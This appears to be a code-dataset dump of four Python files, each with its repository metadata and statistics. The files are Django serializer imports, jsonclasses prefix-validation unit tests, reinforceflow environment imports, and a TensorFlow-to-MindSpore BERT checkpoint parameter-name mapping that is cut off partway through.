360c587771e66f74714f14233ddfda47a2ae6f54
220
py
Python
django/code/TheSphinx/serializers/__init__.py
aitalshashank2/The-Meeting-Sphinx
7825c8f94748298f0c81bb0f40eeac56177526f7
[ "Apache-2.0" ]
4
2021-05-16T18:02:30.000Z
2021-05-21T16:32:17.000Z
django/code/TheSphinx/serializers/__init__.py
aitalshashank2/The-Meeting-Sphinx
7825c8f94748298f0c81bb0f40eeac56177526f7
[ "Apache-2.0" ]
5
2021-05-07T16:31:27.000Z
2021-06-04T12:24:28.000Z
django/code/TheSphinx/serializers/__init__.py
aitalshashank2/The-Meeting-Sphinx
7825c8f94748298f0c81bb0f40eeac56177526f7
[ "Apache-2.0" ]
2
2021-05-24T06:56:53.000Z
2021-08-05T10:10:58.000Z
from TheSphinx.serializers.user import * from TheSphinx.serializers.meeting import * from TheSphinx.serializers.message import * from TheSphinx.serializers.recording import * from TheSphinx.serializers.attendee import *
36.666667
45
0.840909
25
220
7.4
0.36
0.351351
0.648649
0.648649
0
0
0
0
0
0
0
0
0.090909
220
5
46
44
0.925
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
364f8d856b00b2702165b041010273888a1b2695
4,730
py
Python
tests/test_isprefixof.py
Jesse-Yung/jsonclasses
d40c52aec42bcb978a80ceb98b93ab38134dc790
[ "MIT" ]
50
2021-08-18T08:08:04.000Z
2022-03-20T07:23:26.000Z
tests/test_isprefixof.py
Jesse-Yung/jsonclasses
d40c52aec42bcb978a80ceb98b93ab38134dc790
[ "MIT" ]
1
2021-02-21T03:18:09.000Z
2021-03-08T01:07:52.000Z
tests/test_isprefixof.py
Jesse-Yung/jsonclasses
d40c52aec42bcb978a80ceb98b93ab38134dc790
[ "MIT" ]
8
2021-07-01T02:39:15.000Z
2021-12-10T02:20:18.000Z
from __future__ import annotations from jsonclasses.excs import ValidationException from tests.classes.super_prefix import IsPrefixOf from unittest import TestCase class TestIsPrefixOf(TestCase): def test_is_prefix_of_validates_str_val_is_prefix_of_str_param(self): s_ipo = IsPrefixOf(s_ipo='unha') s_ipo.validate() def test_is_prefix_of_validates_list_val_of_int_is_prefix_of_list_param(self): loi_ipo = IsPrefixOf(loi_ipo=[1, 4, 5]) loi_ipo.validate() def test_is_prefix_of_validates_list_val_of_str_is_prefix_of_list_param(self): los_ipo = IsPrefixOf(los_ipo=['a', 'd']) los_ipo.validate() def test_is_prefix_of_raises_str_val_is_not_prefix_of_str_param(self): s_ipo = IsPrefixOf(s_ipo='appy') with self.assertRaises(ValidationException) as context: s_ipo.validate() self.assertEqual(context.exception.keypath_messages['sIpo'], "prefix is not found") def test_is_prefix_of_raises_list_val_of_int_is_not_prefix_of_list_param(self): loi_ipo = IsPrefixOf(loi_ipo=[3, 2, 8]) with self.assertRaises(ValidationException) as context: loi_ipo.validate() self.assertEqual(context.exception.keypath_messages['loiIpo'], "prefix is not found") def test_is_prefix_of_raises_list_val_of_str_is_not_prefix_of_list_param(self): los_ipo = IsPrefixOf(los_ipo=['f', 'g']) with self.assertRaises(ValidationException) as context: los_ipo.validate() self.assertEqual(context.exception.keypath_messages['losIpo'], "prefix is not found") def test_is_prefix_of_validates_str_val_is_prefix_of_callable_param(self): c_ipo = IsPrefixOf(c_ipo='unha') c_ipo.validate() def test_is_prefix_of_validates_list_val_of_int_is_prefix_of_callable_param(self): c_loi_ipo = IsPrefixOf(c_loi_ipo=[1, 4, 5]) c_loi_ipo.validate() def test_is_prefix_of_validates_list_val_of_str_is_prefix_of_callable_param(self): c_los_ipo = IsPrefixOf(c_los_ipo=['a', 'd']) c_los_ipo.validate() def test_is_prefix_of_raises_str_val_is_not_prefix_of_callable_param(self): c_ipo = IsPrefixOf(c_ipo='appy') with self.assertRaises(ValidationException) as context: c_ipo.validate() self.assertEqual(context.exception.keypath_messages['cIpo'], "prefix is not found") def test_is_prefix_of_raises_list_val_of_int_is_not_prefix_of_callable_param(self): c_loi_ipo = IsPrefixOf(c_loi_ipo=[3, 2, 8]) with self.assertRaises(ValidationException) as context: c_loi_ipo.validate() self.assertEqual(context.exception.keypath_messages['cLoiIpo'], "prefix is not found") def test_is_prefix_of_raises_list_val_of_str_is_not_prefix_of_callable_param(self): c_los_ipo = IsPrefixOf(c_los_ipo=['f', 'g']) with self.assertRaises(ValidationException) as context: c_los_ipo.validate() self.assertEqual(context.exception.keypath_messages['cLosIpo'], "prefix is not found") def test_is_prefix_of_validates_str_val_is_prefix_of_types_param(self): t_ipo = IsPrefixOf(t_ipo='unha') t_ipo.validate() def test_is_prefix_of_validates_list_val_of_int_is_prefix_of_types_param(self): t_loi_ipo = IsPrefixOf(t_loi_ipo=[1, 4, 5]) t_loi_ipo.validate() def test_is_prefix_of_validates_list_val_of_str_is_prefix_of_types_param(self): t_los_ipo = IsPrefixOf(t_los_ipo=['a', 'd']) t_los_ipo.validate() def test_is_prefix_of_raises_str_val_is_not_prefix_of_types_param(self): t_ipo = IsPrefixOf(t_ipo='appy') with self.assertRaises(ValidationException) as context: t_ipo.validate() self.assertEqual(context.exception.keypath_messages['tIpo'], "prefix is not found") def test_is_prefix_of_raises_list_val_of_int_is_not_prefix_of_types_param(self): t_loi_ipo = IsPrefixOf(t_loi_ipo=[3, 2, 8]) with self.assertRaises(ValidationException) as context: t_loi_ipo.validate() self.assertEqual(context.exception.keypath_messages['tLoiIpo'], "prefix is not found") def test_is_prefix_of_raises_list_val_of_str_is_not_prefix_of_types_param(self): t_los_ipo = IsPrefixOf(t_los_ipo=['f', 'g']) with self.assertRaises(ValidationException) as context: t_los_ipo.validate() self.assertEqual(context.exception.keypath_messages['tLosIpo'], "prefix is not found")
44.205607
87
0.700211
665
4,730
4.494737
0.102256
0.096353
0.090331
0.090331
0.91268
0.909669
0.909669
0.907661
0.79826
0.677819
0
0.004839
0.213531
4,730
106
88
44.622642
0.798656
0
0
0.418605
0
0
0.054757
0
0
0
0
0
0.209302
1
0.209302
false
0
0.046512
0
0.267442
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
7
36ef1e0c1f97e37b812d176e990f63e6e3ae411a
186
py
Python
reinforceflow/envs/__init__.py
ktk1012/reinforceflow
88d426a5ce0480a8a0bf8f28f573582e950ebe15
[ "MIT" ]
12
2017-07-16T12:13:25.000Z
2022-03-08T04:45:16.000Z
reinforceflow/envs/__init__.py
ktk1012/reinforceflow
88d426a5ce0480a8a0bf8f28f573582e950ebe15
[ "MIT" ]
null
null
null
reinforceflow/envs/__init__.py
ktk1012/reinforceflow
88d426a5ce0480a8a0bf8f28f573582e950ebe15
[ "MIT" ]
4
2017-07-25T13:28:56.000Z
2018-12-01T11:05:09.000Z
from __future__ import absolute_import # pylint: disable=wildcard-import from reinforceflow.envs.wrapper import * from reinforceflow.envs.atari import * # pylint: enable=wildcard-import
31
40
0.827957
23
186
6.478261
0.521739
0.161074
0.308725
0.362416
0
0
0
0
0
0
0
0
0.096774
186
5
41
37.2
0.886905
0.333333
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
7
36f038e563c3015f3fec0555a24542e2b2fbc33f
70,983
py
Python
bert/scripts/ms2tf/ms2tf_config.py
kingcong/MindSpore_Code
afe6ef9cada6c98f601754197db84ee1c21dbc9d
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
bert/scripts/ms2tf/ms2tf_config.py
kingcong/MindSpore_Code
afe6ef9cada6c98f601754197db84ee1c21dbc9d
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
bert/scripts/ms2tf/ms2tf_config.py
kingcong/MindSpore_Code
afe6ef9cada6c98f601754197db84ee1c21dbc9d
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2022 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================ """ # tf and ms bert large checkpoint param transfer table # key: tf # value: ms """ param_name_dict = { 'bert/embeddings/word_embeddings': 'bert.bert.bert_embedding_lookup.embedding_table', 'bert/embeddings/token_type_embeddings': 'bert.bert.bert_embedding_postprocessor.' 'token_type_embedding.embedding_table', 'bert/embeddings/position_embeddings': 'bert.bert.bert_embedding_postprocessor.' 'full_position_embedding.embedding_table', 'bert/embeddings/LayerNorm/gamma': 'bert.bert.bert_embedding_postprocessor.layernorm.gamma', 'bert/embeddings/LayerNorm/beta': 'bert.bert.bert_embedding_postprocessor.layernorm.beta', 'bert/encoder/layer_0/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.0.attention.attention' '.query_layer.weight', 'bert/encoder/layer_0/attention/self/query/bias': 'bert.bert.bert_encoder.layers.0.attention.attention' '.query_layer.bias', 'bert/encoder/layer_0/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.0.attention.attention.key_layer' '.weight', 'bert/encoder/layer_0/attention/self/key/bias': 'bert.bert.bert_encoder.layers.0.attention.attention' '.key_layer.bias', 'bert/encoder/layer_0/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.0.attention.attention' '.value_layer.weight', 'bert/encoder/layer_0/attention/self/value/bias': 'bert.bert.bert_encoder.layers.0.attention.attention' '.value_layer.bias', 'bert/encoder/layer_0/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.0.attention.output.dense' '.weight', 'bert/encoder/layer_0/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.0.attention.output.dense.bias', 'bert/encoder/layer_0/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.0.attention.output' '.layernorm.gamma', 'bert/encoder/layer_0/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.0.attention.output' '.layernorm.beta', 'bert/encoder/layer_0/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.0.intermediate.weight', 'bert/encoder/layer_0/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.0.intermediate.bias', 'bert/encoder/layer_0/output/dense/kernel': 'bert.bert.bert_encoder.layers.0.output.dense.weight', 'bert/encoder/layer_0/output/dense/bias': 'bert.bert.bert_encoder.layers.0.output.dense.bias', 'bert/encoder/layer_0/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.0.output.layernorm.gamma', 'bert/encoder/layer_0/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.0.output.layernorm.beta', 'bert/encoder/layer_1/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.1.attention.attention' '.query_layer.weight', 'bert/encoder/layer_1/attention/self/query/bias': 'bert.bert.bert_encoder.layers.1.attention.attention' '.query_layer.bias', 'bert/encoder/layer_1/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.1.attention.attention.key_layer' '.weight', 'bert/encoder/layer_1/attention/self/key/bias': 'bert.bert.bert_encoder.layers.1.attention' '.attention.key_layer.bias', 'bert/encoder/layer_1/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.1.attention.attention' '.value_layer.weight', 'bert/encoder/layer_1/attention/self/value/bias': 'bert.bert.bert_encoder.layers.1.attention.attention' '.value_layer.bias', 'bert/encoder/layer_1/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.1.attention.output.dense' '.weight', 'bert/encoder/layer_1/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.1.attention.output.dense.bias', 'bert/encoder/layer_1/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.1.attention.output' '.layernorm.gamma', 'bert/encoder/layer_1/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.1.attention.output' '.layernorm.beta', 'bert/encoder/layer_1/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.1.intermediate.weight', 'bert/encoder/layer_1/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.1.intermediate.bias', 'bert/encoder/layer_1/output/dense/kernel': 'bert.bert.bert_encoder.layers.1.output.dense.weight', 'bert/encoder/layer_1/output/dense/bias': 'bert.bert.bert_encoder.layers.1.output.dense.bias', 'bert/encoder/layer_1/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.1.output.layernorm.gamma', 'bert/encoder/layer_1/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.1.output.layernorm.beta', 'bert/encoder/layer_2/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.2.attention.attention' '.query_layer.weight', 'bert/encoder/layer_2/attention/self/query/bias': 'bert.bert.bert_encoder.layers.2.attention.attention' '.query_layer.bias', 'bert/encoder/layer_2/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.2.attention.attention.key_layer' '.weight', 'bert/encoder/layer_2/attention/self/key/bias': 'bert.bert.bert_encoder.layers.2.attention' '.attention.key_layer.bias', 'bert/encoder/layer_2/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.2.attention.attention' '.value_layer.weight', 'bert/encoder/layer_2/attention/self/value/bias': 'bert.bert.bert_encoder.layers.2.attention.attention' '.value_layer.bias', 'bert/encoder/layer_2/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.2.attention.output.dense' '.weight', 'bert/encoder/layer_2/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.2.attention.output.dense.bias', 'bert/encoder/layer_2/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.2.attention.output' '.layernorm.gamma', 'bert/encoder/layer_2/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.2.attention.output' '.layernorm.beta', 'bert/encoder/layer_2/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.2.intermediate.weight', 'bert/encoder/layer_2/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.2.intermediate.bias', 'bert/encoder/layer_2/output/dense/kernel': 'bert.bert.bert_encoder.layers.2.output.dense.weight', 'bert/encoder/layer_2/output/dense/bias': 'bert.bert.bert_encoder.layers.2.output.dense.bias', 'bert/encoder/layer_2/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.2.output.layernorm.gamma', 'bert/encoder/layer_2/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.2.output.layernorm.beta', 'bert/encoder/layer_3/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.3.attention.attention' '.query_layer.weight', 'bert/encoder/layer_3/attention/self/query/bias': 'bert.bert.bert_encoder.layers.3.attention.attention' '.query_layer.bias', 'bert/encoder/layer_3/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.3.attention.attention.key_layer' '.weight', 'bert/encoder/layer_3/attention/self/key/bias': 'bert.bert.bert_encoder.layers.3.attention' '.attention.key_layer.bias', 'bert/encoder/layer_3/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.3.attention.attention' '.value_layer.weight', 'bert/encoder/layer_3/attention/self/value/bias': 'bert.bert.bert_encoder.layers.3.attention.attention' '.value_layer.bias', 'bert/encoder/layer_3/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.3.attention.output.dense' '.weight', 'bert/encoder/layer_3/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.3.attention.output.dense.bias', 'bert/encoder/layer_3/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.3.attention.output' '.layernorm.gamma', 'bert/encoder/layer_3/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.3.attention.output' '.layernorm.beta', 'bert/encoder/layer_3/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.3.intermediate.weight', 'bert/encoder/layer_3/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.3.intermediate.bias', 'bert/encoder/layer_3/output/dense/kernel': 'bert.bert.bert_encoder.layers.3.output.dense.weight', 'bert/encoder/layer_3/output/dense/bias': 'bert.bert.bert_encoder.layers.3.output.dense.bias', 'bert/encoder/layer_3/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.3.output.layernorm.gamma', 'bert/encoder/layer_3/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.3.output.layernorm.beta', 'bert/encoder/layer_4/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.4.attention.attention' '.query_layer.weight', 'bert/encoder/layer_4/attention/self/query/bias': 'bert.bert.bert_encoder.layers.4.attention.attention' '.query_layer.bias', 'bert/encoder/layer_4/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.4.attention.attention.key_layer' '.weight', 'bert/encoder/layer_4/attention/self/key/bias': 'bert.bert.bert_encoder.layers.4' '.attention.attention.key_layer.bias', 'bert/encoder/layer_4/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.4.attention.attention' '.value_layer.weight', 'bert/encoder/layer_4/attention/self/value/bias': 'bert.bert.bert_encoder.layers.4.attention.attention' '.value_layer.bias', 'bert/encoder/layer_4/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.4.attention.output.dense' '.weight', 'bert/encoder/layer_4/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.4.attention.output.dense.bias', 'bert/encoder/layer_4/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.4.attention.output' '.layernorm.gamma', 'bert/encoder/layer_4/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.4.attention.output' '.layernorm.beta', 'bert/encoder/layer_4/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.4.intermediate.weight', 'bert/encoder/layer_4/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.4.intermediate.bias', 'bert/encoder/layer_4/output/dense/kernel': 'bert.bert.bert_encoder.layers.4.output.dense.weight', 'bert/encoder/layer_4/output/dense/bias': 'bert.bert.bert_encoder.layers.4.output.dense.bias', 'bert/encoder/layer_4/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.4.output.layernorm.gamma', 'bert/encoder/layer_4/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.4.output.layernorm.beta', 'bert/encoder/layer_5/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.5.attention.attention' '.query_layer.weight', 'bert/encoder/layer_5/attention/self/query/bias': 'bert.bert.bert_encoder.layers.5.attention.attention' '.query_layer.bias', 'bert/encoder/layer_5/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.5.attention.attention.key_layer' '.weight', 'bert/encoder/layer_5/attention/self/key/bias': 'bert.bert.bert_encoder.layers.5.attention' '.attention.key_layer.bias', 'bert/encoder/layer_5/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.5.attention.attention' '.value_layer.weight', 'bert/encoder/layer_5/attention/self/value/bias': 'bert.bert.bert_encoder.layers.5.attention.attention' '.value_layer.bias', 'bert/encoder/layer_5/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.5.attention.output.dense' '.weight', 'bert/encoder/layer_5/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.5.attention.output.dense.bias', 'bert/encoder/layer_5/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.5.attention.output' '.layernorm.gamma', 'bert/encoder/layer_5/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.5.attention.output' '.layernorm.beta', 'bert/encoder/layer_5/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.5.intermediate.weight', 'bert/encoder/layer_5/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.5.intermediate.bias', 'bert/encoder/layer_5/output/dense/kernel': 'bert.bert.bert_encoder.layers.5.output.dense.weight', 'bert/encoder/layer_5/output/dense/bias': 'bert.bert.bert_encoder.layers.5.output.dense.bias', 'bert/encoder/layer_5/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.5.output.layernorm.gamma', 'bert/encoder/layer_5/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.5.output.layernorm.beta', 'bert/encoder/layer_6/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.6.attention.attention' '.query_layer.weight', 'bert/encoder/layer_6/attention/self/query/bias': 'bert.bert.bert_encoder.layers.6.attention.attention' '.query_layer.bias', 'bert/encoder/layer_6/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.6.attention.attention.key_layer' '.weight', 'bert/encoder/layer_6/attention/self/key/bias': 'bert.bert.bert_encoder.layers.6.attention' '.attention.key_layer.bias', 'bert/encoder/layer_6/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.6.attention.attention' '.value_layer.weight', 'bert/encoder/layer_6/attention/self/value/bias': 'bert.bert.bert_encoder.layers.6.attention.attention' '.value_layer.bias', 'bert/encoder/layer_6/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.6.attention.output.dense' '.weight', 'bert/encoder/layer_6/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.6.attention.output.dense.bias', 'bert/encoder/layer_6/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.6.attention.output' '.layernorm.gamma', 'bert/encoder/layer_6/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.6.attention.output' '.layernorm.beta', 'bert/encoder/layer_6/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.6.intermediate.weight', 'bert/encoder/layer_6/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.6.intermediate.bias', 'bert/encoder/layer_6/output/dense/kernel': 'bert.bert.bert_encoder.layers.6.output.dense.weight', 'bert/encoder/layer_6/output/dense/bias': 'bert.bert.bert_encoder.layers.6.output.dense.bias', 'bert/encoder/layer_6/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.6.output.layernorm.gamma', 'bert/encoder/layer_6/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.6.output.layernorm.beta', 'bert/encoder/layer_7/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.7.attention.attention' '.query_layer.weight', 'bert/encoder/layer_7/attention/self/query/bias': 'bert.bert.bert_encoder.layers.7.attention.attention' '.query_layer.bias', 'bert/encoder/layer_7/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.7.attention.attention.key_layer' '.weight', 'bert/encoder/layer_7/attention/self/key/bias': 'bert.bert.bert_encoder.layers.7.attention' '.attention.key_layer.bias', 'bert/encoder/layer_7/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.7.attention.attention' '.value_layer.weight', 'bert/encoder/layer_7/attention/self/value/bias': 'bert.bert.bert_encoder.layers.7.attention.attention' '.value_layer.bias', 'bert/encoder/layer_7/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.7.attention.output.dense' '.weight', 'bert/encoder/layer_7/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.7.attention.output.dense.bias', 'bert/encoder/layer_7/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.7.attention.output' '.layernorm.gamma', 'bert/encoder/layer_7/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.7.attention.output' '.layernorm.beta', 'bert/encoder/layer_7/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.7.intermediate.weight', 'bert/encoder/layer_7/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.7.intermediate.bias', 'bert/encoder/layer_7/output/dense/kernel': 'bert.bert.bert_encoder.layers.7.output.dense.weight', 'bert/encoder/layer_7/output/dense/bias': 'bert.bert.bert_encoder.layers.7.output.dense.bias', 'bert/encoder/layer_7/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.7.output.layernorm.gamma', 'bert/encoder/layer_7/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.7.output.layernorm.beta', 'bert/encoder/layer_8/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.8.attention.attention' '.query_layer.weight', 'bert/encoder/layer_8/attention/self/query/bias': 'bert.bert.bert_encoder.layers.8.attention.attention' '.query_layer.bias', 'bert/encoder/layer_8/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.8.attention.attention.key_layer' '.weight', 'bert/encoder/layer_8/attention/self/key/bias': 'bert.bert.bert_encoder.layers.8.attention' '.attention.key_layer.bias', 'bert/encoder/layer_8/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.8.attention.attention' '.value_layer.weight', 'bert/encoder/layer_8/attention/self/value/bias': 'bert.bert.bert_encoder.layers.8.attention.attention' '.value_layer.bias', 'bert/encoder/layer_8/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.8.attention.output.dense' '.weight', 'bert/encoder/layer_8/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.8.attention.output.dense.bias', 'bert/encoder/layer_8/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.8.attention.output' '.layernorm.gamma', 'bert/encoder/layer_8/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.8.attention.output' '.layernorm.beta', 'bert/encoder/layer_8/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.8.intermediate.weight', 'bert/encoder/layer_8/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.8.intermediate.bias', 'bert/encoder/layer_8/output/dense/kernel': 'bert.bert.bert_encoder.layers.8.output.dense.weight', 'bert/encoder/layer_8/output/dense/bias': 'bert.bert.bert_encoder.layers.8.output.dense.bias', 'bert/encoder/layer_8/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.8.output.layernorm.gamma', 'bert/encoder/layer_8/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.8.output.layernorm.beta', 'bert/encoder/layer_9/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.9.attention.attention' '.query_layer.weight', 'bert/encoder/layer_9/attention/self/query/bias': 'bert.bert.bert_encoder.layers.9.attention.attention' '.query_layer.bias', 'bert/encoder/layer_9/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.9.attention.attention.key_layer' '.weight', 'bert/encoder/layer_9/attention/self/key/bias': 'bert.bert.bert_encoder.layers.9.attention' '.attention.key_layer.bias', 'bert/encoder/layer_9/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.9.attention.attention' '.value_layer.weight', 'bert/encoder/layer_9/attention/self/value/bias': 'bert.bert.bert_encoder.layers.9.attention.attention' '.value_layer.bias', 'bert/encoder/layer_9/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.9.attention.output.dense' '.weight', 'bert/encoder/layer_9/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.9.attention.output.dense.bias', 'bert/encoder/layer_9/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.9.attention.output' '.layernorm.gamma', 'bert/encoder/layer_9/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.9.attention.output' '.layernorm.beta', 'bert/encoder/layer_9/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.9.intermediate.weight', 'bert/encoder/layer_9/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.9.intermediate.bias', 'bert/encoder/layer_9/output/dense/kernel': 'bert.bert.bert_encoder.layers.9.output.dense.weight', 'bert/encoder/layer_9/output/dense/bias': 'bert.bert.bert_encoder.layers.9.output.dense.bias', 'bert/encoder/layer_9/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.9.output.layernorm.gamma', 'bert/encoder/layer_9/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.9.output.layernorm.beta', 'bert/encoder/layer_10/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.10.attention.attention' '.query_layer.weight', 'bert/encoder/layer_10/attention/self/query/bias': 'bert.bert.bert_encoder.layers.10.attention.attention' '.query_layer.bias', 'bert/encoder/layer_10/attention/self/key/kernel': 'bert.bert.bert_encoder.layers.10.attention.attention' '.key_layer.weight', 'bert/encoder/layer_10/attention/self/key/bias': 'bert.bert.bert_encoder.layers.10.attention.attention.key_layer' '.bias', 'bert/encoder/layer_10/attention/self/value/kernel': 'bert.bert.bert_encoder.layers.10.attention.attention' '.value_layer.weight', 'bert/encoder/layer_10/attention/self/value/bias': 'bert.bert.bert_encoder.layers.10.attention.attention' '.value_layer.bias', 'bert/encoder/layer_10/attention/output/dense/kernel': 'bert.bert.bert_encoder.layers.10.attention.output.dense' '.weight', 'bert/encoder/layer_10/attention/output/dense/bias': 'bert.bert.bert_encoder.layers.10.attention.output.dense.bias', 'bert/encoder/layer_10/attention/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.10.attention.output' '.layernorm.gamma', 'bert/encoder/layer_10/attention/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.10.attention.output' '.layernorm.beta', 'bert/encoder/layer_10/intermediate/dense/kernel': 'bert.bert.bert_encoder.layers.10.intermediate.weight', 'bert/encoder/layer_10/intermediate/dense/bias': 'bert.bert.bert_encoder.layers.10.intermediate.bias', 'bert/encoder/layer_10/output/dense/kernel': 'bert.bert.bert_encoder.layers.10.output.dense.weight', 'bert/encoder/layer_10/output/dense/bias': 'bert.bert.bert_encoder.layers.10.output.dense.bias', 'bert/encoder/layer_10/output/LayerNorm/gamma': 'bert.bert.bert_encoder.layers.10.output.layernorm.gamma', 'bert/encoder/layer_10/output/LayerNorm/beta': 'bert.bert.bert_encoder.layers.10.output.layernorm.beta', 'bert/encoder/layer_11/attention/self/query/kernel': 'bert.bert.bert_encoder.layers.11.attention.attention' '.query_layer.weight', 'bert/encoder/layer_11/attention/self/query/bias': 